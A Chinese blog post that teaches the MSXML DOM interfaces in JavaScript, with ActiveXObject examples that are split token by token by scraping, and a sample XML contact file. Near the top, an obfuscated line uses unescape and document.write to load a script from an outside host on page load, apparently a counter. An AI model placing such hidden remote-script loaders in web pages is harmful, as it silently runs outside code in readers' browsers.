DOM对象简单使用

最新推荐文章于 2022-11-01 22:32:05 发布
最新推荐文章于 2022-11-01 22:32:05 发布
阅读量326 收藏
点赞数
文章标签： javascript html 文档 email xml attributes
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/lxf464382/article/details/1831656
版权
 

HTML Tags and JavaScript tutorial


<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
DOM对象简单使用




很久没有真正的写东西了..忙着找工作..现在工作有个着落了..又有心思研究.学习新的东西了
这篇为以后学ajax打基础的
生成DOM文档对象的方法
var xmlDoc=new ActiveXObject("Msxml2.DOMDocument.4.0");
  生成XML文档对象xmlDoc，xmlDoc中包含XML文档中所有元素和节点
 xmlDoc.async=false;
装载XML文档完毕后才开始处理下一步骤
xmlDoc.load("1.xml");
将XML文档装载到文档对象中，在内存中形成文档对象树
DOM对象
1.IXMLDOMDocument/DOMDocument
2.IXMLDOMNode
3.IXMLDOMNodeList
4.IXMLDOMParseError
5.IXMLDOMAttribute
6.IXMLDOMDocumentType
1.IXMLDOMDocument/DOMDocument
表示DOM树的最顶层节点
属性
async－－是否可以异步下载（可读写属性）
attributes－－返回节点的属性列表
baseName－－返回节点的标记名称
childNodes－－子节点列表
documentElement－－返回文档的根元素（可读写属性）
方法
appendChild（在当前节点的最后增加一个新的子节点）
createNode（根据条件生成一个新节点）
createnode(type,name,namespaceURL)
IXMLDOMDocument
/
DOMDocument示例


var

 oNodeMap,str,oList,item;
        

var

 xmlDoc

=

new

 ActiveXObject(

"

Msxml2.DOMDocument.4.0

"

);
        xmlDoc.async

=

false

;
        xmlDoc.load(

"

candidate.xml

"

);
        

if

(xmlDoc.parseError

!=

0

)
            document.writeln(xmlDoc.parseError.reason

+

"

<br>

"

);
        

else


        


{
            oNodeMap

=

xmlDoc.documentElement.attributes;
            document.write(oNodeMap.length

+

"

<br>

"

);
        str

=

xmlDoc.documentElement.childNodes[

1

].baseName;
            document.write(str

+

"

<br>

"

);
            oList

=

xmlDoc.documentElement.childNodes;
            

for

(

var

 i

=

0

;i

<

oList.length;i

++

)
                document.write(oList[i].xml

+

"

<br>

"

);
        }




<

script language

=

"

javascript

"

>

        

var

 xmlDoc

=

new

 ActiveXObject(

"

Msxml2.DOMDocument.4.0

"

);
        xmlDoc.async

=

false

;
        xmlDoc.load(

"

candidate.xml

"

);
        

var

 root

=

xmlDoc.documentElement;
        document.write(root.xml);
        document.write(

"

<br>--------------------------<br>

"

);
        

var

 node

=

xmlDoc.createNode(

1

,

"

创建节点

"

,

""

);
        node.text

=

"

这是新创建得节点

"

;
        root.appendChild(node);
        window.alert(root.xml);
        document.write(root.xml);
    

</

script

>

IXMLDOMNode

属性

lastChild－－返回最后一个子节点
nextSibling－－指向同一层的下一个兄弟节点
xml－－用XML格式表现该节点和所有子节点的内容
方法
selectNodes－－根据匹配模式操作来返回符合要求的节点集合
selectSingleNode－－根据匹配模式操作来返回符合要求的第一个节点
IXMLDOMNode是DOM的基本对象，所有节点都可以看作是一个IXMLDOMNode对象，所有其它DOM对象接口都是继承它的属性和方法。

<

html

>

   

<

body

>


      

<

script 

language

="javascript"

>


        

var

 xmlDoc

=

new

 ActiveXObject(

"

Msxml2.DOMDocument.4.0

"

);
        xmlDoc.async

=

false

;
        xmlDoc.load(

"

candidate.xml

"

);
        

var

 root

=

xmlDoc.documentElement;
        

var

 node

=

root.lastChild;
        window.alert(node.xml);
        

var

 firstNode

=

root.childNodes[

0

];
        

var

 nextNode

=

firstNode.nextSibling;
        window.alert(nextNode.xml);
    

</

script

>

   

</

body

>


</

html

>



<

html

>

   

<

body

>


      

<

script 

language

="javascript"

>


        

var

 xmlDoc

=

new

 ActiveXObject(

"

Msxml2.DOMDocument.4.0

"

);
        xmlDoc.async

=

false

;
        xmlDoc.load(

"

candidate.xml

"

);
        

var

 root

=

xmlDoc.documentElement;
        

var

 node

=

root.selectNodes(

"

PERSON/NAME

"

);
        window.alert(node.length);
    

</

script

>

   

</

body

>


</

html

>

IXMLDOMNodeList
属性

length－－接口对象中包含的节点数量。
方法
nextNode－－返回节点集合中下一个节点。
节点的集合
IXMLDOMParseError
属性
line－－错误所在行号
linepos－－错误在行中的位置
reason－－发生错误的原因
srcText－－错误行文本
用此接口捕获XML文档中存在的错误（包括XML结构完整错误及有效性错误）
IXMLDOMParseError示例

<

html

>

   

<

body

>


      

<

script 

language

="javascript"

>


        

var

 xmlDoc

=

new

 ActiveXObject(

"

Msxml2.DOMDocument.4.0

"

);
        xmlDoc.async

=

false

;
        xmlDoc.load(

"

errorxml.xml

"

);
        

if

(xmlDoc.parseError.errorCode

!=

0

)
        


{
    document.writeln(

"

错误所在的行号：

"

 

+

 xmlDoc.parseError.line 

+

 

"

<br>

"

);
    document.writeln(

"

错误所在的列号：

"

 

+

 xmlDoc.parseError.linepos 

+

 

"

<br>

"

);
    document.writeln(

"

错误原因：

"

 

+

 xmlDoc.parseError.reason 

+

 

"

<br>

"

);
    document.writeln(

"

错误行文本：

"

 

+

 xmlDoc.parseError.srcText 

+

 

"

<br>

"

);
        }

    

</

script

>

   

</

body

>


</

html

>


IXMLDOMAttribute

表示元素的相关属性
属性
nodeType－－返回节点类型
ownerDocument－－返回该节点的根节点
text－－返回节点的文本和子节点树
value－－返回属性的值
xml－－返回当前节点及其所有子节点的内容
方法
appendChild
selectSingleNode
IDOMAttribute示例
<
html
>
<
body
>
   
<
script 
language
="javascript"
>
        
var
 xmlDoc
=
new
 ActiveXObject(
"
Msxml2.DOMDocument.4.0
"
);
        xmlDoc.async
=
false
;
        xmlDoc.load(
"
candidate.xml
"
);
        
var
 node
=
xmlDoc.documentElement.childNodes[
0
];
document.write(
"
节点类型：
"
+
node.nodeType
+
"
<br>
"
);
document.write(
"
根元素节点名称：
"
 
+
node.ownerDocument.documentElement.tagName 
+
 
"
<br>
"
);
document.write (
"
当前节点的属性值：
"
 
+
 node.attributes[
0
].value 
+
 
"
<br>
"
);
document.write(
"
当前节点及其子节点所包含的文本：
"
 
+
 node.text 
+
 
"
<br>
"
);
    
</
script
>
 
</
body
>
</
html
>
IXMLDOMDocumentType
属性
entities－－返回实体集，包括内部和外部DTD定义的
name－－返回文档类型的名字
nodeTypeString－－返回节点类型的字符串表示
方法
removeChild－－从返回的子节点集中删除特定子节点，并返回它
replaceChild－－从返回的子节点集中用新节点替换特定老节点
IXMLDOMDocumentType示例
<
html
>
    
<
body
>
    
<
script 
language
="javascript"
>
        
var
 xmlDoc
=
new
 ActiveXObject(
"
Msxml2.DOMDocument.4.0
"
);
        xmlDoc.async
=
false
;
        xmlDoc.load(
"
candidate.xml
"
);
        
var
 root
=
xmlDoc.documentElement;
        
var
 node
=
root.childNodes[
1
];
        window.alert(
"
当前节点的类型为：
"
 
+
 node.childNodes[
0
].nodeTypeString);
        
var
 element
=
xmlDoc.createElement(
"
Resume
"
);
        element.text
=
"
添加的新元素
"
;
        root.childNodes[
1
].replaceChild(element,node.childNodes[
0
]);
        window.alert(node.xml);
    
</
script
>
   
</
body
>
</
html
>
上示例用到的XML文件
<?
xml version="1.0"
?>
<
PEOPLE  
id
="fdsfsd"
  ds
="sdfsd"
>
    
<
PERSON 
PERSONID
="E01"
>
        
<
NAME
>
Tony Blair
</
NAME
>
        
<
ADDRESS
>
10 Downing Street, London, UK
</
ADDRESS
>
        
<
TEL
>
(061) 98765
</
TEL
><
FAX
>
(061) 98765
</
FAX
>
        
<
EMAIL
>
blair@everywhere.com
</
EMAIL
>
    
</
PERSON
>
    
<
PERSON 
PERSONID
="E02"
>
        
<
NAME
>
Bill Clinton
</
NAME
>
        
<
ADDRESS
>
White House, USA
</
ADDRESS
>
        
<
TEL
>
(001) 6400 98765
</
TEL
><
FAX
>
(001) 6400 98765
</
FAX
>
        
<
EMAIL
>
bill@everywhere.com
</
EMAIL
>
    
</
PERSON
>
    
<
PERSON 
PERSONID
="E03"
>
        
<
NAME
>
Tom Cruise
</
NAME
>
        
<
ADDRESS
>
57 Jumbo Street, New York, USA
</
ADDRESS
>
        
<
TEL
>
(001) 4500 67859
</
TEL
><
FAX
>
(001) 4500 67859
</
FAX
>
        
<
EMAIL
>
cruise@everywhere.com
</
EMAIL
>
    
</
PERSON
>
    
<
PERSON 
PERSONID
="E04"
>
        
<
NAME
>
Linda Goodman
</
NAME
>
        
<
ADDRESS
>
78 Crax Lane, London, UK
</
ADDRESS
>
        
<
TEL
>
(061) 54 56789
</
TEL
><
FAX
>
(061) 54 56789
</
FAX
>
        
<
EMAIL
>
linda@everywhere.com
</
EMAIL
>
    
</
PERSON
>
</
PEOPLE
>
     
 

src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">
lxf464382
关注
XML中DOM解析问题:Msxml2.DOMDocument.4.0 报错
greenerycn的专栏
03-28 1万+
今天看的第9章 XML DOM写例子时报错, Msxml2.DOMDocument.4.0出错;无法创建这个对象.运行了书上的例子,也不行.比较郁闷.后来一看,原来我用的是系统是WinXP,书上是Win2K.........在winxp中要这样创建:new   ActiveXObject("MSXML.DOMDocument"); 或者用这个函数:   
DOM对象（一）——DOM对象介绍、获取元素、事件和样式操作（包括案例：仿京东显示密码 点击关闭二维码等）
m0_53619602的博客
07-14 1106
## 常见的鼠标事件 |鼠标事件| 触发条件 | |--|--| | onclick | 鼠标点击左键触发 | | onmouseover |鼠标经过触发 | | onmouseout | 鼠标离开触发 | | onfocus |获得鼠标焦点触发 | |onblur |失去鼠标焦点触发 | |onmousemove | 鼠标移动触发 | |onmouseup | 鼠标弹起触发 | |onmousedown |鼠标按下触发 |...
DOM对象的操作
你是自己设计的产品
05-11 1063
New Document function createNode(){ var newnode=document.createElement(p); var newText=document.createTextNode("something to add"); newnode.appendChild(newText); var current=document.getElementBy
DOM对象的基础用法
PlayBoyH的博客
04-03 302
js（javascript）分为三大部分： 1.js的基础语法（也就是ECMAScript，简称为ES6）。 2.DOM：document object model。 3.BOM：浏览器为对象。 html页面中都有一元素。html标签就是根。 文档：一个页面就是一个文档。 元素：（element）页面中所有的标签都是元素。每个标签都是一个元素。 节点：页面的所有内容都是节点。 root：根/ ...
dom对象
xianyu156的博客
09-05 196
dom是对象 DOM是以层次结构组织的节点或信息片断的集合。文档对象模型（Document Object Model）是给HTML与XML文件使用的一组API。DOM的本质是建立网页与脚本语言或程序语言沟通的桥梁。 // 2：所有的HTML标签都是dom兑现 // 3：只有dom对象才能使用dom下的api // box 存dom对象 var box =document...
八、DOM（二） -- DOM对象操作
weixin_45602227的博客
07-29 366
一、 DOM查询 1.1 获取元素节点（通过document对象操作） 获取document对象下的元素节点(通过document对象操作) 1、var elem=document.getElementById("box") 根据id属性获取一个元素节点 2、var elems=document.getElementsByName("box") 根据name属性获取一组元素节点 3、var elems=doc
jQuery对象和DOM对象之间相互转换的方法介绍
10-24
jQuery对象是包装了DOM对象的类数组对象，它们之间的转换虽然看似简单，但在实际操作中却非常重要。 首先，我们需要明确什么是jQuery对象和DOM对象。DOM对象是原生的JavaScript对象，例如document中的各种元素，...
jQuery对象与DOM对象之间的相互转换
12-04
操作非常简单，只需将DOM对象传递给jQuery构造函数即可： ```javascript var cr = document.getElementById("cr"); // DOM对象 var $cr = $(cr); // jQuery对象 ``` 在这里，`$(cr)`将DOM对象`cr`转换为jQuery对象...
jQuery对象与DOM对象之间的转换方法
10-29
jQuery对象转换为DOM对象相对简单。因为jQuery对象本质上是一个封装了DOM对象的数组，所以可以通过索引的方式来获取。一般情况下，使用`[index]`或`.get(index)`方法来实现这一转换： ```javascript var $jQuery...
JavaScript简单遍历DOM对象所有属性的实现方法
11-25
本文将深入探讨如何使用JavaScript遍历DOM对象的所有属性。 首先，我们要明确一个基本概念：DOM对象是JavaScript中对HTML元素的抽象表示。例如，在提供的示例中，`()">` 是HTML中的一个按钮元素，它在JavaScript中...
jquery对象与DOM对象转化
12-03
当我们使用jQuery时，我们通常会创建jQuery对象，这些对象包含了对DOM元素的引用，但是有时候我们需要将这些jQuery对象转换为原生的DOM对象，或者反之。下面我们将深入探讨jQuery对象与DOM对象之间的转化方式。 ...
HTML5权威指南——使用DOM对象
gyypwrs的博客
12-06 165
使用元素对象 使用以下的一组属性能够读取或者修改被代表的元素的数据，属性如下： 使用类 有两种方法来处理元素的类，className和classList className返回一个类的列表。使用举例如下： <!doctype html> <html> <head> <meta charset="utf-8"> <style> p { border: 2px solid black;
JavaScript案例精解（一）
dongdongleng的专栏
08-18 308
初始知识：JavaScript操作XMLDOM对象 //两种方式创建XML对象 var doc = new ActiveXObject("Msxml2.DOMDocument"); var doc = new ActiveXObject("Microsoft.XMLDOM");//ie5.5+ //加载文档 //doc.load("b.xml"); //将XML文档设为同步方式，默认是异步方式 doc.async = false; //创建文件头 var p = doc.cr
DOM的操作
Mr_115的博客
11-01 2937
DOM的操作
JavaScript中操作DOM对象重点总结
妖精小狗的博客
08-31 6871
DOM： Document Object Model（文档对象模型）   节点和节点关系： 访问节点： 使用getElement系列方法访问指定节点：getElementById( )、getElementsByName( )、getElementsByTagName( ) 根据层次关系访问节点 节点的属性： 属性名称 描述 ...
JS——DOM对象常用方法知识简记
TKY666的博客
05-01 4081
目录 获取DOM对象方法一 1.通过id获取 2. 通过class(类名)获取 3. 通过标签名获取 4. 通过name属性获取 5. 通过querySelector（选择器）获取 6. 通过querySelectorAll获取 获取特殊对象方法 body html 获取或返回元素内容方法 JS与CSS交互 js添加与修改属性样式 样式获取（查询） 类操作 DOM节点 节点属性操作 节点操作（增删复插替） 获取DOM对象方法二 节点查找 父节点查找子节点方法...
DOM对象的基本操作
ohh19894860013的博客
05-05 1079
DOM对象： DOM的英文全称是Document Object Model，即文档对象模型。文档一般是指HTML文档，DOM对象模型将HTML文档组织为以Node对象为节点的层次结构。一个节点是一个Node对象。Node对象按照节点类型分为元素节点、属性节点、文本节点和注释节点。元素节点（也称为元素对象）由元素节点、属性节点、文本节点和注释节点构成。 innerHTML和innerText innerHTML：获取到元素的全部信息 innerText：获取到元素的文本信息 funct...
MSXML2.DOMDocument
热门推荐
HDHunter的专栏
05-07 1万+
MSXML2.DOMDocument和Microsoft.XMLDOM有什么区别？      答案：版本不同：Microsoft.XMLDOM一般为msxml2.6,2.5,3.MSXML2.DOMDocument为msxml3 或4，MSMXL4支持的标准比较多(譬如它支持W3C的XML Schema)，对标准的Conformance也更好，XML分析器与XSLT处理器的效率也更高 。
DOM：对象模型解析XML的利器
DOM接口是实现随机访问XML的关键，它允许程序对文档进行深度和广度的遍历，无论是简单的文本，还是复杂的嵌套结构，都可以通过节点对象进行操作。例如，可以动态创建、修改、删除节点，或者获取节点的属性值、子节点...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值